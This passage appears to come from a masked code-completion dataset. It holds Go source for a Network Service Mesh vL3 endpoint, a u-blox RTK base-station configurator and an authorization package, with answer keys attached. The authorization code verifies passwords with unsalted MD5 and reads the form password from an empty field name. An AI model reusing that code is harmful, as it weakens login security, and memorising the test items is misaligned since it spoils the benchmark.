""github.com/networkservicemesh/sdk/pkg/networkservice/connectioncontext/mtu/vl3mtu"" ""github.com/networkservicemesh/sdk/pkg/networkservice/core/chain"" ""github.com/networkservicemesh/sdk/pkg/networkservice/core/next"" registryclient ""github.com/networkservicemesh/sdk/pkg/registry/chains/client"" registryauthorize ""github.com/networkservicemesh/sdk/pkg/registry/common/authorize"" registryclientinfo ""github.com/networkservicemesh/sdk/pkg/registry/common/clientinfo"" registrysendfd ""github.com/networkservicemesh/sdk/pkg/registry/common/sendfd"" ""github.com/networkservicemesh/sdk/pkg/tools/debug"" ""github.com/networkservicemesh/sdk/pkg/tools/grpcutils"" ""github.com/networkservicemesh/sdk/pkg/tools/log"" ""github.com/networkservicemesh/sdk/pkg/tools/log/logruslogger"" ""github.com/networkservicemesh/sdk/pkg/tools/opentelemetry"" ""github.com/networkservicemesh/sdk/pkg/tools/pprofutils"" ""github.com/networkservicemesh/sdk/pkg/tools/spiffejwt"" ""github.com/networkservicemesh/sdk/pkg/tools/token"" ""github.com/networkservicemesh/sdk/pkg/tools/tracing"" ""github.com/networkservicemesh/vpphelper"" ) // Config holds configuration parameters from environment variables type Config struct { Name string `default:""vL3-server"" desc:""Name of vL3 Server""` DialTimeout time.Duration `default:""5s"" desc:""timeout to dial NSMgr"" split_words:""true""` RequestTimeout time.Duration `default:""15s"" desc:""timeout to request NSE"" split_words:""true""` ListenOn string `default:""listen.on.sock"" desc:""listen on socket"" split_words:""true""` ConnectTo url.URL `default:""unix:///var/lib/networkservicemesh/nsm.io.sock"" desc:""url to connect to"" split_words:""true""` MaxTokenLifetime time.Duration `default:""10m"" desc:""maximum lifetime of tokens"" split_words:""true""` RegistryClientPolicies []string `default:""etc/nsm/opa/common/.*.rego,etc/nsm/opa/registry/.*.rego,etc/nsm/opa/client/.*.rego"" desc:""paths to files and directories that contain registry client policies"" split_words:""true""` ServiceNames []string `default:""vL3"" desc:""Name of providing service"" split_words:""true""` Labels map[string]string `default:"""" desc:""Endpoint labels""` RequestLabels map[string]string `default:"""" desc:""Adds labels to request on requesting vl3 nse"" split_words:""true""` IdleTimeout time.Duration `default:""0"" desc:""timeout for automatic shutdown when there were no requests for specified time. Set 0 to disable auto-shutdown."" split_words:""true""` RegisterService bool `default:""true"" desc:""if true then registers network service on startup"" split_words:""true""` UnregisterItself bool `default:""true"" desc:""if true then NSE unregister itself when it completes working"" split_words:""true""` OpenTelemetryEndpoint string `default:""otel-collector.observability.svc.cluster.local:4317"" desc:""OpenTelemetry Collector Endpoint"" split_words:""true""` MetricsExportInterval time.Duration `default:""10s"" desc:""interval between mertics exports"" split_words:""true""` PrefixServerURL []url.URL `default:""vl3-ipam:5006"" desc:""URL to VL3 IPAM server(s)"" split_words:""true""` DNSTemplates []string `default:""{{ index .Labels \""podName\"" }}.{{ .NetworkService }}."" desc:""Represents domain naming templates in go-template format. It is using for generating the domain name for each nse/nsc in the vl3 network"" split_words:""true""` LogLevel string `default:""INFO"" desc:""Log level"" split_words:""true""` PprofEnabled bool `default:""false"" desc:""is pprof enabled"" split_words:""true""` PprofListenOn string `default:""localhost:6060"" desc:""pprof URL to ListenAndServe"" split_words:""true""` LivenessCheckEnabled bool `default:""true"" desc:""Dataplane liveness check enabled/disabled"" split_words:""true""` LivenessCheckInterval time.Duration `default:""1200ms"" desc:""Dataplane liveness check interval"" split_words:""true""` LivenessCheckTimeout time.Duration `default:""1s"" desc:""Dataplane liveness check timeout"" split_words:""true""` dnsServerAddr net.IP dnsServerAddrCh chan net.IP dnsConfigs genericsync.Map[string, []*networkservice.DNSConfig] } // Process prints and processes env to config func (c *Config) Process() error { if err := envconfig.Usage(""nsm"", c); err != nil { return errors.Wrap(err, ""cannot show usage of envconfig nse"") } if err := envconfig.Process(""nsm"", c); err != nil { return errors.Wrap(err, ""cannot process envconfig nse"") } return nil } func startListenPrefixes(ctx context.Context, c *Config, tlsClientConfig *tls.Config, subscriptions []chan *ipam.PrefixResponse) { for i := range c.PrefixServerURL { prefixServerURL := &c.PrefixServerURL[i] go func(i int, prefixServerURL *url.URL) { log.FromContext(ctx).Infof(""Start listening prefix server %d: %s"", i, prefixServerURL) var previousResponse *ipam.PrefixResponse var cc *grpc.ClientConn var err error for ctx.Err() == nil { // Close the previous clientConn if cc != nil { _ = cc.Close() } dialCtx, dialCtxCancel := context.WithTimeout(ctx, time.Millisecond*200) cc, err = grpc.DialContext(dialCtx, grpcutils.URLToTarget(prefixServerURL), grpc.WithBlock(), grpc.WithTransportCredentials( credentials.NewTLS( tlsClientConfig, ), ), ) // It is safe to cancel dial ctx after DialContext if WithBlock() option is used dialCtxCancel() if err != nil { logrus.Error(err.Error()) continue } managePrefixClient, err := ipam.NewIPAMClient(cc).ManagePrefixes(ctx) if err != nil { logrus.Error(err.Error()) continue } request := &ipam.PrefixRequest{ Type: ipam.Type_ALLOCATE, Prefix: previousResponse.GetPrefix(), } err = managePrefixClient.Send(request) if err != nil { continue } for resp, recvErr := managePrefixClient.Recv(); recvErr == nil; resp, recvErr = managePrefixClient.Recv() { if !proto.Equal(previousResponse, resp) { previousResponse = resp subscriptions[i] <- resp } } } }(i, prefixServerURL) } } func main() { // ******************************************************************************** // setup context to catch signals // ******************************************************************************** ctx, cancel := context.WithCancel(context.Background()) defer cancel() // ******************************************************************************** // setup logging // ******************************************************************************** ctx = log.WithLog(ctx, logruslogger.New(ctx, map[string]interface{}{""cmd"": os.Args[0]})) if err := debug.Self(); err != nil { log.FromContext(ctx).Infof(""%s"", err) } // ******************************************************************************** // Configure open tracing // ******************************************************************************** log.EnableTracing(true) // ******************************************************************************** log.FromContext(ctx).Infof(""executing phase 1: get config from environment"") // ******************************************************************************** config := new(Config) if err := config.Process(); err != nil { logrus.Fatal(err.Error()) } level, err := logrus.ParseLevel(config.LogLevel) if err != nil { logrus.Fatalf(""invalid log level %s"", config.LogLevel) } logrus.SetLevel(level) logrus.SetFormatter(&nested.Formatter{}) logruslogger.SetupLevelChangeOnSignal(ctx, map[os.Signal]logrus.Level{ syscall.SIGUSR1: logrus.TraceLevel, syscall.SIGUSR2: level, }) config.dnsServerAddrCh = make(chan net.IP, 1) // ******************************************************************************** // Configure Open Telemetry // ******************************************************************************** if opentelemetry.IsEnabled() { collectorAddress := config.OpenTelemetryEndpoint spanExporter := opentelemetry.InitSpanExporter(ctx, collectorAddress) metricExporter := opentelemetry.InitOPTLMetricExporter(ctx, collectorAddress, config.MetricsExportInterval) o := opentelemetry.Init(ctx, spanExporter, metricExporter, config.Name) defer func() { if err = o.Close(); err != nil { logrus.Error(err.Error()) } }() } // ******************************************************************************** // Configure pprof // ******************************************************************************** if config.PprofEnabled { go pprofutils.ListenAndServe(ctx, config.PprofListenOn) } log.FromContext(ctx).Infof(""Config: %#v"", config) // ******************************************************************************** log.FromContext(ctx).Infof(""executing phase 2: run vpp and get a connection to it"") // ******************************************************************************** vppConn, vppErrCh := vpphelper.StartAndDialContext(ctx) exitOnErr(ctx, cancel, vppErrCh) defer func() { cancel() <-vppErrCh }() // ******************************************************************************** log.FromContext(ctx).Infof(""executing phase 3: retrieving svid, check spire agent logs if this is the last line you see"") // ******************************************************************************** source, err := workloadapi.NewX509Source(ctx) if err != nil { logrus.Fatalf(""error getting x509 source: %+v"", err) } svid, err := source.GetX509SVID() if err != nil { logrus.Fatalf(""error getting x509 svid: %+v"", err) } log.FromContext(ctx).Infof(""SVID: %q"", svid.ID) tlsClientConfig := tlsconfig.MTLSClientConfig(source, source, tlsconfig.AuthorizeAny()) tlsClientConfig.MinVersion = tls.VersionTLS12 tlsServerConfig := tlsconfig.MTLSServerConfig(source, source, tlsconfig.AuthorizeAny()) tlsServerConfig.MinVersion = tls.VersionTLS12 // ******************************************************************************** log.FromContext(ctx).Infof(""executing phase 4: prepare shared between client and server resources"") // ******************************************************************************** vrfOptions := []vrf.Option{ vrf.WithSharedMap(vrf.NewMap()), vrf.WithLoadInterface(loopback.Load), } loopOptions := []loopback.Option{ loopback.WithSharedMap(loopback.NewMap()), } signalCtx, cancelSignalCtx := notifyContext(ctx) defer cancelSignalCtx() // ******************************************************************************** log.FromContext(ctx).Infof(""executing phase 5: get all vl3-nses from registry"") // ******************************************************************************** clientOptions := append(tracing.WithTracingDial(), grpcfd.WithChainStreamInterceptor(), grpcfd.WithChainUnaryInterceptor(), grpc.WithDefaultCallOptions( grpc.WaitForReady(true), grpc.PerRPCCredentials(token.NewPerRPCCredentials(spiffejwt.TokenGeneratorFunc(source, config.MaxTokenLifetime))), ), grpc.WithTransportCredentials( grpcfd.TransportCredentials( credentials.NewTLS(tlsClientConfig), ), ), ) clientAdditionalFunctionality := []networkservice.NetworkServiceClient{ upstreamrefresh.NewClient(ctx, upstreamrefresh.WithLocalNotifications()), vl3mtu.NewClient(), } nsmClient := retry.NewClient( client.NewClient(ctx, client.WithClientURL(&config.ConnectTo), client.WithName(config.Name), client.WithAuthorizeClient(authorize.NewClient()), client.WithHealClient(heal.NewClient(ctx)), client.WithAdditionalFunctionality( append( clientAdditionalFunctionality, clientinfo.NewClient(), kernelsdk.NewClient(), sendfd.NewClient(), )..., ), client.WithDialTimeout(config.DialTimeout), client.WithDialOptions(clientOptions...), ), ) nseRegistryClient := registryclient.NewNetworkServiceEndpointRegistryClient( ctx, registryclient.WithClientURL(&config.ConnectTo), registryclient.WithDialOptions(clientOptions...), registryclient.WithNSEAdditionalFunctionality( registryclientinfo.NewNetworkServiceEndpointRegistryClient(), registrysendfd.NewNetworkServiceEndpointRegistryClient(), ), registryclient.WithAuthorizeNSERegistryClient(registryauthorize.NewNetworkServiceEndpointRegistryClient( registryauthorize.WithPolicies(config.RegistryClientPolicies...), )), ) if config.RegisterService { for _, serviceName := range config.ServiceNames { nsRegistryClient := registryclient.NewNetworkServiceRegistryClient(ctx, registryclient.WithClientURL(&config.ConnectTo), registryclient.WithDialOptions(clientOptions...), registryclient.WithAuthorizeNSRegistryClient(registryauthorize.NewNetworkServiceRegistryClient( registryauthorize.WithPolicies(config.RegistryClientPolicies...), ))) _, err = nsRegistryClient.Register(ctx, ®istryapi.NetworkService{ Name: serviceName, Payload: payload.IP, }) if err != nil { log.FromContext(ctx).Fatalf(""unable to register ns %+v"", err) } } } tmpDir, err := os.MkdirTemp("""", config.Name) if err != nil { logrus.Fatalf(""error creating tmpDir %+v"", err) } defer func(tmpDir string) { _ = os.Remove(tmpDir) }(tmpDir) listenOn := &(url.URL{Scheme: ""unix"", Path: filepath.Join(tmpDir, config.ListenOn)}) // ******************************************************************************** log.FromContext(ctx).Infof(""executing phase 6: create and register nse with nsm"") // ******************************************************************************** prefixServerCount := len(config.PrefixServerURL) var subscriptions []chan *ipam.PrefixResponse for i := 0; i < prefixServerCount; i++ { subscriptions = append(subscriptions, make(chan *ipam.PrefixResponse, 1)) } var closeSubscribedChannels = func() { for i := 0; i < prefixServerCount; i++ { close(subscriptions[i]) } } startListenPrefixes(ctx, config, tlsClientConfig, subscriptions) ipams := extractIPAMList(ctx, subscriptions) server := createVl3Endpoint(ctx, cancel, config, vppConn, tlsServerConfig, source, loopOptions, vrfOptions, ipams) srvErrCh := grpcutils.ListenAndServe(ctx, listenOn, server) exitOnErr(ctx, cancel, srvErrCh) log.FromContext(ctx).Infof(""grpc server started"") nseRegistration := ®istryapi.NetworkServiceEndpoint{ Name: config.Name, NetworkServiceNames: config.ServiceNames, NetworkServiceLabels: make(map[string]*registryapi.NetworkServiceLabels), Url: listenOn.String(), } for _, serviceName := range config.ServiceNames { nseRegistration.NetworkServiceLabels[serviceName] = ®istryapi.NetworkServiceLabels{Labels: config.Labels} } nseRegistration, err = nseRegistryClient.Register(ctx, nseRegistration) log.FromContext(ctx).Infof(""registered nse: %+v"", nseRegistration) if err != nil { log.FromContext(ctx).Fatalf(""unable to register nse %+v"", err) } // Update the nseList to make sure we have all registered vl3-endpoints nseStream, err := nseRegistryClient.Find(ctx, ®istryapi.NetworkServiceEndpointQuery{ NetworkServiceEndpoint: ®istryapi.NetworkServiceEndpoint{ NetworkServiceNames: config.ServiceNames, }, }) if err != nil { log.FromContext(ctx).Fatalf(""error getting nses: %+v"", err) } var nseList = registryapi.ReadNetworkServiceEndpointList(nseStream) requestCtx, cancelRequest := context.WithTimeout(signalCtx, config.RequestTimeout) defer cancelRequest() conn, err := nsmClient.Request(requestCtx, &networkservice.NetworkServiceRequest{ Connection: &networkservice.Connection{ Id: config.Name + ""-kernel"", NetworkServiceEndpointName: config.Name, NetworkService: config.ServiceNames[0], Payload: payload.IP, Labels: config.RequestLabels, }, }) if err != nil { log.FromContext(ctx).Fatal(err.Error()) } defer func(conn *networkservice.Connection) { closeCtx, cancelClose := context.WithTimeout(ctx, config.RequestTimeout) defer cancelClose() _, _ = nsmClient.Close(closeCtx, conn) }(conn) config.dnsServerAddr = conn.GetContext().GetIpContext().GetSrcIPNets()[0].IP config.dnsServerAddrCh <- conn.GetContext().GetIpContext().GetSrcIPNets()[0].IP vl3Client := createVl3Client(ctx, config, vppConn, tlsClientConfig, source, loopOptions, vrfOptions, ipams, clientAdditionalFunctionality...) for _, nse := range nseList { if nse.Name == config.Name { continue } if nse.GetInitialRegistrationTime().AsTime().Local().After(nseRegistration.GetInitialRegistrationTime().AsTime().Local()) { continue } log.FromContext(ctx).Infof(""connect to %v"", nse.String()) request := &networkservice.NetworkServiceRequest{ Connection: &networkservice.Connection{ NetworkServiceEndpointName: nse.Name, NetworkService: config.ServiceNames[0], Payload: payload.IP, Labels: config.RequestLabels, }, } requestCtx, cancelRequest = context.WithTimeout(signalCtx, config.RequestTimeout) defer cancelRequest() conn, err = vl3Client.Request(requestCtx, request) if err != nil { log.FromContext(ctx).Errorf(""request has failed: %v"", err.Error()) continue } defer func() { closeCtx, cancelClose := context.WithTimeout(ctx, config.RequestTimeout) defer cancelClose() _, _ = vl3Client.Close(closeCtx, conn) }() } if config.UnregisterItself { defer func() { _, err = nseRegistryClient.Unregister(context.Background(), nseRegistration) if err != nil { log.FromContext(ctx).Errorf(""nse failed to unregister itself on termination: %s"", err.Error()) } }() } // wait for server to exit <-signalCtx.Done() closeSubscribedChannels() } func extractIPAMList(ctx context.Context, subscriptions []chan *ipam.PrefixResponse) []*vl3.IPAM { ipams := make([]*vl3.IPAM, len(subscriptions)) for i := range ipams { ipams[i] = new(vl3.IPAM) } handleChannel := func(prefixCh <-chan *ipam.PrefixResponse, ipam *vl3.IPAM) { for prefix := range prefixCh { err := ipam.Reset(prefix.Prefix, prefix.ExcludePrefixes...) if err != nil { log.FromContext(ctx).Errorf(""failed to reset vl3 IPAM pool: %s"", err.Error()) } } } for i, ch := range subscriptions { go handleChannel(ch, ipams[i]) } return ipams } func createVl3Client(ctx context.Context, config *Config, vppConn api.Connection, tlsClientConfig *tls.Config, source x509svid.Source, loopOpts []loopback.Option, vrfOpts []vrf.Option, ipams []*vl3.IPAM, clientAdditionalFunctionality ...networkservice.NetworkServiceClient) networkservice.NetworkServiceClient { dialOptions := append(tracing.WithTracingDial(), grpcfd.WithChainStreamInterceptor(), grpcfd.WithChainUnaryInterceptor(), grpc.WithDefaultCallOptions( grpc.WaitForReady(true), grpc.PerRPCCredentials(token.NewPerRPCCredentials(spiffejwt.TokenGeneratorFunc(source, config.MaxTokenLifetime))), ), grpc.WithTransportCredentials( grpcfd.TransportCredentials( credentials.NewTLS( tlsClientConfig, ), ), ), ) var healOptions = []heal.Option{heal.WithLivenessCheckInterval(config.LivenessCheckInterval), heal.WithLivenessCheckTimeout(config.LivenessCheckTimeout)} if config.LivenessCheckEnabled { healOptions = append(healOptions, heal.WithLivenessCheck(vppheal.VPPLivenessCheck(vppConn))) } healClient := heal.NewClient(ctx, healOptions...) c := client.NewClient( ctx, client.WithClientURL(&config.ConnectTo), client.WithName(config.Name), client.WithAdditionalFunctionality( append( clientAdditionalFunctionality, newMultiIPAMClient(ctx, ipams), vl3dns.NewClient(config.dnsServerAddr, &config.dnsConfigs), up.NewClient(ctx, vppConn, up.WithLoadSwIfIndex(loopback.Load)), ipaddress.NewClient(vppConn, ipaddress.WithLoadSwIfIndex(loopback.Load)), loopback.NewClient(vppConn, loopOpts...), up.NewClient(ctx, vppConn), mtu.NewClient(vppConn), routes.NewClient(vppConn), unnumbered.NewClient(vppConn, loopback.Load), vrf.NewClient(vppConn, vrfOpts...), memif.NewClient(ctx, vppConn), sendfd.NewClient(), recvfd.NewClient(), )..., ), client.WithHealClient(healClient), client.WithDialTimeout(config.DialTimeout), client.WithDialOptions(dialOptions...), client.WithReselectFunc(begin.ReselectWithSameEndpointFunc)) return retry.NewClient(c) } func newMultiIPAMClient(ctx context.Context, ipams []*vl3.IPAM) networkservice.NetworkServiceClient { var [MASK] []networkservice.NetworkServiceClient for _, ipam := range ipams { [MASK] = append( [MASK] , vl3.NewClient(ctx, ipam)) } return next.NewNetworkServiceClient( [MASK] ...) } func createVl3Endpoint(ctx context.Context, cancel context.CancelFunc, config *Config, vppConn api.Connection, tlsServerConfig *tls.Config, source x509svid.Source, loopOpts []loopback.Option, vrfOpts []vrf.Option, ipams []*vl3.IPAM) *grpc.Server { vl3Endpoint := endpoint.NewServer(ctx, spiffejwt.TokenGeneratorFunc(source, config.MaxTokenLifetime), endpoint.WithName(config.Name), endpoint.WithAuthorizeServer(authorize.NewServer()), endpoint.WithAdditionalFunctionality( onidle.NewServer(ctx, cancel, config.IdleTimeout), vl3dns.NewServer(ctx, config.dnsServerAddrCh, vl3dns.WithDomainSchemes(config.DNSTemplates...), vl3dns.WithConfigs(&config.dnsConfigs), ), vl3mtu.NewServer(), strictvl3ipam.NewServer(ctx, vl3.NewServer, ipams...), up.NewServer(ctx, vppConn, up.WithLoadSwIfIndex(loopback.Load)), ipaddress.NewServer(vppConn, ipaddress.WithLoadSwIfIndex(loopback.Load)), unnumbered.NewServer(vppConn, loopback.Load), vrf.NewServer(vppConn, vrfOpts...), loopback.NewServer(vppConn, loopOpts...), mechanisms.NewServer(map[string]networkservice.NetworkServiceServer{ memif.MECHANISM: chain.NewNetworkServiceServer( sendfd.NewServer(), up.NewServer(ctx, vppConn), mtu.NewServer(vppConn), routes.NewServer(vppConn), tag.NewServer(ctx, vppConn), memif.NewServer(ctx, vppConn), ), }), ), ) options := append( tracing.WithTracing(), grpc.Creds( grpcfd.TransportCredentials( credentials.NewTLS( tlsServerConfig, ), ), ), ) server := grpc.NewServer(options...) vl3Endpoint.Register(server) return server } func exitOnErr(ctx context.Context, cancel context.CancelFunc, errCh <-chan error) { // If we already have an error, log it and exit select { case err := <-errCh: log.FromContext(ctx).Fatal(err) default: } // Otherwise wait for an error in the background to log and cancel go func(ctx context.Context, errCh <-chan error) { err := <-errCh log.FromContext(ctx).Error(err) cancel() }(ctx, errCh) } func notifyContext(ctx context.Context) (context.Context, context.CancelFunc) { return signal.NotifyContext( ctx, os.Interrupt, // More Linux signals here syscall.SIGHUP, syscall.SIGTERM, syscall.SIGQUIT, ) } ",clients 887,"package stationserial import ( ""context"" ""io"" ""github.com/jacobsa/go-serial/serial"" ) const ( ubxSynch1 = 0xB5 ubxSynch2 = 0x62 ubxRtcm1005 = 0x05 // Stationary RTK reference ARP ubxRtcm1074 = 0x4A // GPS MSM4 ubxRtcm1084 = 0x54 // GLONASS MSM4 ubxRtcm1094 = 0x5E // Galileo MSM4 ubxRtcm1124 = 0x7C // BeiDou MSM4 ubxRtcm1230 = 0xE6 // GLONASS code-phase biases, set to once every 10 seconds uart2 = 2 usb = 3 ubxRtcmMsb = 0xF5 ubxClassCfg = 0x06 ubxCfgMsg = 0x01 ubxCfgTmode3 = 0x71 maxPayloadSize = 256 ubxCfgCfg = 0x09 ubxCfgPrt = 0x00 comTypeRTCM3 = (1 << 5) ubxNmeaMsb = 0xF0 // All NMEA enable commands have 0xF0 as MSB. Equal to UBX_CLASS_NMEA ubxNmeaGga = 0x00 // GxGGA (Global positioning system fix data) ubxNmeaGll = 0x01 // GxGLL (latitude and long, with time of position fix and status) ubxNmeaGsa = 0x02 // GxGSA (GNSS DOP and Active satellites) ubxNmeaGsv = 0x03 // GxGSV (GNSS satellites in view) ubxNmeaRmc = 0x04 // GxRMC (Recommended minimum data) ubxNmeaVtg = 0x05 // GxVTG (course over ground and Ground speed) svinModeEnable = 0x01 svinModeDisable = 0x00 ) var rtcmMsgs = map[int]int{ ubxRtcm1005: 1, ubxRtcm1074: 1, ubxRtcm1084: 1, ubxRtcm1094: 1, ubxRtcm1124: 1, ubxRtcm1230: 5, } var nmeaMsgs = map[int]int{ ubxNmeaGll: 1, ubxNmeaGsa: 1, ubxNmeaGsv: 1, ubxNmeaRmc: 1, ubxNmeaVtg: 1, ubxNmeaGga: 1, } type configCommand struct { portName string baudRate uint requiredAcc float64 observationTime int msgsToEnable map[int]int msgsToDisable map[int]int portID int writePort io.ReadWriteCloser } // ConfigureBaseRTKStation configures an RTK chip to act as a base station and send correction data. func ConfigureBaseRTKStation(newConf *Config) error { requiredAcc := newConf.RequiredAccuracy observationTime := newConf.RequiredTime c := &configCommand{ requiredAcc: requiredAcc, observationTime: observationTime, msgsToEnable: rtcmMsgs, // defaults msgsToDisable: nmeaMsgs, // defaults } err := c.openSerial(newConf) if err != nil { return err } if err := c.setRTCMOutput(); err != nil { return err } // enable the station to send RTCM messages. if err := c.enableAll(ubxRtcmMsb); err != nil { return err } // disable NMEA message sending. err = c.disableAll(ubxNmeaMsb) if err != nil { return err } // enable surveyin mode. err = c.enableSVIN() if err != nil { return err } return nil } func (c *configCommand) openSerial(newConf *Config) error { portName := newConf.SerialPath c.portName = portName baudRate := newConf.SerialBaudRate if baudRate == 0 { baudRate = 38400 } c.baudRate = uint(baudRate) c.portID = uart2 options := serial.OpenOptions{ PortName: c.portName, BaudRate: c.baudRate, DataBits: 8, StopBits: 1, MinimumReadSize: 1, } // Open the port writePort, err := serial.Open(options) if err != nil { return err } c.writePort = writePort return nil } // ensure the chip can output RTCM correction messages. func (c *configCommand) setRTCMOutput() error { cls := ubxClassCfg id := ubxCfgPrt msgLen := 15 payloadCfg := make([]byte, 15) payloadCfg[14] = comTypeRTCM3 err := c.sendCommand(cls, id, msgLen, payloadCfg) if err != nil { return err } return nil } func (c *configCommand) sendCommand(cls, id, msgLen int, payloadCfg []byte) error { checksumA, checksumB := calcChecksum(cls, id, msgLen, payloadCfg) // build packet to send over serial byteSize := msgLen + 8 // header+checksum+payload packet := make([]byte, byteSize) // header bytes packet[0] = byte(ubxSynch1) packet[1] = byte(ubxSynch2) packet[2] = byte(cls) packet[3] = byte(id) packet[4] = byte(msgLen & 0xFF) // LSB packet[5] = byte(msgLen >> 8) // MSB ind := 6 for i := 0; i < msgLen; i++ { packet[ind+i] = payloadCfg[i] } packet[len(packet)-1] = byte(checksumB) packet[len(packet)-2] = byte(checksumA) _, err := c.writePort.Write(packet) if err != nil { return err } // then wait to capture ack response buf := make([]byte, maxPayloadSize) _, err = c.writePort.Read(buf) if err != nil { return err } return nil } func (c *configCommand) disableAll(msb int) error { for msg := range c.msgsToDisable { err := c.disableMessageCommand(msb, msg, c.portID) if err != nil { return err } } err := c.saveAllConfigs() if err != nil { return err } return nil } func (c *configCommand) enableAll(msb int) error { for msg, sendRate := range c.msgsToEnable { err := c.enableMessageCommand(msb, msg, c.portID, sendRate) if err != nil { return err } } err := c.saveAllConfigs() if err != nil { return err } return nil } func (c *configCommand) getSurveyMode() error { cls := ubxClassCfg id := ubxCfgTmode3 payloadCfg := make([]byte, 40) c.sendCommand(cls, id, 0, payloadCfg) // set payloadcfg return nil } func (c *configCommand) enableSVIN() error { err := c.setSurveyMode(svinModeEnable, c.requiredAcc, c.observationTime) if err != nil { return err } err = c.saveAllConfigs() if err != nil { return err } return nil } // Updates the mode to surveyin, which will survey to get the current location of the base station, func (c *configCommand) setSurveyMode(mode int, requiredAccuracy float64, observationTime int) error { payloadCfg := make([]byte, 40) cls := ubxClassCfg id := ubxCfgTmode3 msgLen := 40 // payloadCfg should be loaded with poll response. Now modify only the bits we care about payloadCfg[2] = byte(mode) // Set mode. Survey-In and Disabled are most common. Use ECEF (not LAT/LON/ALT). // svinMinDur is U4 (uint32_t) in seconds payloadCfg[24] = byte(observationTime & 0xFF) // svinMinDur in seconds payloadCfg[25] = byte((observationTime >> 8) & 0xFF) payloadCfg[26] = byte((observationTime >> 16) & 0xFF) payloadCfg[27] = byte((observationTime >> 24) & 0xFF) // svinAccLimit is U4 (uint32_t) in 0.1mm. svinAccLimit := uint32(requiredAccuracy * 10000.0) // Convert m to 0.1mm payloadCfg[28] = byte(svinAccLimit & 0xFF) // svinAccLimit in 0.1mm increments payloadCfg[29] = byte((svinAccLimit >> 8) & 0xFF) payloadCfg[30] = byte((svinAccLimit >> 16) & 0xFF) payloadCfg[31] = byte((svinAccLimit >> 24) & 0xFF) return c.sendCommand(cls, id, msgLen, payloadCfg) } // Not currently in use, but could be used to set the position of the base station manually instead of surveying. func (c *configCommand) setStaticPosition(ecefXOrLat, ecefXOrLatHP, ecefYOrLon, [MASK] , ecefZOrAlt, ecefZOrAltHP int, latLong bool) error { cls := ubxClassCfg id := ubxCfgTmode3 msgLen := 40 payloadCfg := make([]byte, maxPayloadSize) payloadCfg[2] = byte(2) if latLong { payloadCfg[3] = (1 << 0) // Set mode to fixed. Use LAT/LON/ALT. } // Set ECEF X or Lat payloadCfg[4] = byte((ecefXOrLat >> 8 * 0) & 0xFF) // LSB payloadCfg[5] = byte((ecefXOrLat >> 8 * 1) & 0xFF) payloadCfg[6] = byte((ecefXOrLat >> 8 * 2) & 0xFF) payloadCfg[7] = byte((ecefXOrLat >> 8 * 3) & 0xFF) // MSB // Set ECEF Y or Long payloadCfg[8] = byte((ecefYOrLon >> 8 * 0) & 0xFF) // LSB payloadCfg[9] = byte((ecefYOrLon >> 8 * 1) & 0xFF) payloadCfg[10] = byte((ecefYOrLon >> 8 * 2) & 0xFF) payloadCfg[11] = byte((ecefYOrLon >> 8 * 3) & 0xFF) // MSB // Set ECEF Z or Altitude payloadCfg[12] = byte((ecefZOrAlt >> 8 * 0) & 0xFF) // LSB payloadCfg[13] = byte((ecefZOrAlt >> 8 * 1) & 0xFF) payloadCfg[14] = byte((ecefZOrAlt >> 8 * 2) & 0xFF) payloadCfg[15] = byte((ecefZOrAlt >> 8 * 3) & 0xFF) // MSB // Set high precision parts payloadCfg[16] = byte(ecefXOrLatHP) payloadCfg[17] = byte( [MASK] ) payloadCfg[18] = byte(ecefZOrAltHP) return c.sendCommand(cls, id, msgLen, payloadCfg) } func (c *configCommand) disableMessageCommand(msgClass, messageNumber, portID int) error { err := c.enableMessageCommand(msgClass, messageNumber, portID, 0) if err != nil { return err } return nil } func (c *configCommand) enableMessageCommand(msgClass, messageNumber, portID, sendRate int) error { payloadCfg := make([]byte, maxPayloadSize) cls := ubxClassCfg id := ubxCfgMsg msgLen := 8 payloadCfg[0] = byte(msgClass) payloadCfg[1] = byte(messageNumber) payloadCfg[2+portID] = byte(sendRate) // default to enable usb on with same sendRate payloadCfg[2+usb] = byte(sendRate) return c.sendCommand(cls, id, msgLen, payloadCfg) } func (c *configCommand) saveAllConfigs() error { cls := ubxClassCfg id := ubxCfgCfg msgLen := 12 payloadCfg := make([]byte, maxPayloadSize) payloadCfg[4] = 0xFF payloadCfg[5] = 0xFF return c.sendCommand(cls, id, msgLen, payloadCfg) } // Close closes all open ports used in configuration. func (c *configCommand) Close(ctx context.Context) error { if c.writePort != nil { if err := c.writePort.Close(); err != nil { return err } c.writePort = nil } return nil } func calcChecksum(cls, id, msgLen int, payload []byte) (checksumA, checksumB int) { checksumA = 0 checksumB = 0 checksumA += cls checksumB += checksumA checksumA += id checksumB += checksumA checksumA += (msgLen & 0xFF) checksumB += checksumA checksumA += (msgLen >> 8) checksumB += checksumA for i := 0; i < msgLen; i++ { checksumA += int(payload[i]) checksumB += checksumA } return checksumA, checksumB } ",ecefYOrLonHP 888,"package authorize import ( ""context"" ""crypto/md5"" ""encoding/hex"" ""encoding/json"" ""net/http"" ""github.com/go-chocolate/contrib/authorize/tokenutil"" ) type Request interface { GetUsername() string GetPassword() string GetClientID() string } type formRequest struct { username string password string clientID string } func (r *formRequest) GetUsername() string { return r.username } func (r *formRequest) GetPassword() string { return r.password } func (r *formRequest) GetClientID() string { return r.clientID } type RequestBuilder func(request *http.Request) (Request, error) type PasswordVerifier func(pwd, secret, input string) bool var ( defaultRequestBuilder RequestBuilder = func(request *http.Request) (Request, error) { clientID := request.Header.Get(""X-Client-ID"") switch request.Header.Get(""Content-Type"") { case ""application/json"": m := map[string]any{} if err := json.NewDecoder(request.Body).Decode(&m); err != nil { return nil, err } return &formRequest{ username: m[""username""].(string), password: m[""password""].(string), clientID: clientID, }, nil case ""application/x-www-form-urlencoded"", ""form-data"": return &formRequest{ username: request.FormValue(""username""), password: request.FormValue(""""), clientID: clientID, }, nil default: return nil, ErrUnsupportedContentType } } defaultPasswordVerifier PasswordVerifier = func(pwd, secret, input string) bool { b := md5.Sum([]byte(pwd + secret)) [MASK] := hex.EncodeToString(b[:]) return [MASK] == input } ) type Option func(*Authorization) func applyOptions(a *Authorization, options []Option) { for _, option := range options { option(a) } } func WithRequestBuilder(builder RequestBuilder) Option { return func(a *Authorization) { a.requestBuilder = builder } } func WithPasswordVerifier(verifier PasswordVerifier) Option { return func(a *Authorization) { a.passwordVerifier = verifier } } type Authorization struct { rep UserRepository token *tokenutil.Manager userRepository UserRepository requestBuilder RequestBuilder passwordVerifier PasswordVerifier } func New(rep UserRepository, token *tokenutil.Manager, options ...Option) *Authorization { a := &Authorization{ rep: rep, token: token, userRepository: rep, requestBuilder: defaultRequestBuilder, passwordVerifier: defaultPasswordVerifier, } applyOptions(a, options) return a } func (a *Authorization) 